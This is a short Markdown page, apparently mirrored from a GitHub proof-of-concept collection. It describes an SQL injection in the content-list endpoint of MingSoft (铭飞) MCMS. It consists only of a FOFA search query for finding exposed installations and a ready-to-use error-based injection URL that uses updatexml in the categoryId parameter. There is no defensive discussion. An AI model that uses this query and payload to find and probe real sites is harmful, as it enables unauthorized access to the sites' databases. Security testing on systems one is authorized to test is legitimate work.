mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-06 19:07:11 +00:00
13 lines
369 B
Markdown
13 lines
369 B
Markdown
|
## 铭飞CMS list接口存在SQL注入
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```
|
||
|
|
body="铭飞MCMS" || body="/mdiy/formData/save.do" || body="static/plugins/ms/1.0.0/ms.js"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```
|
||
|
|
http://127.0.0.1/cms/content/list?categoryId=1%27%20and%20updatexml(1,concat(0x7e,md5(123),0x7e),1)%20and%20%271
|
||
|
|
```
|
||
|
|
|